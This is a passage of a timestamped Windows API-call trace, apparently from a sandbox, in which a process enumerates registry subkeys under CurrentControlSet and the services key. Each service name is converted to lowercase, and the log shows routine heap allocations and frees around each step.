Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.152] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0248.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0248.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.152] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0248.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0248.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.152] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0248.152] RegCloseKey (hKey=0x154) returned 0x0 [0248.152] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.153] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.153] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.153] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0248.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.154] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0248.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0248.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.154] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.154] RegCloseKey (hKey=0xc4) returned 0x0 [0248.154] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0248.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0248.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.154] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0248.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0248.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f19b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0248.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.155] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0248.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0248.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1b68, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0248.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.155] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0248.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f19b8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0248.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.155] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1b68, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0248.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.155] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f19b8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.156] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.156] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.156] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0248.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.157] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0248.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0248.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.157] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0248.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0248.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1b68, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0248.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.157] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0248.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0248.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.158] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.158] 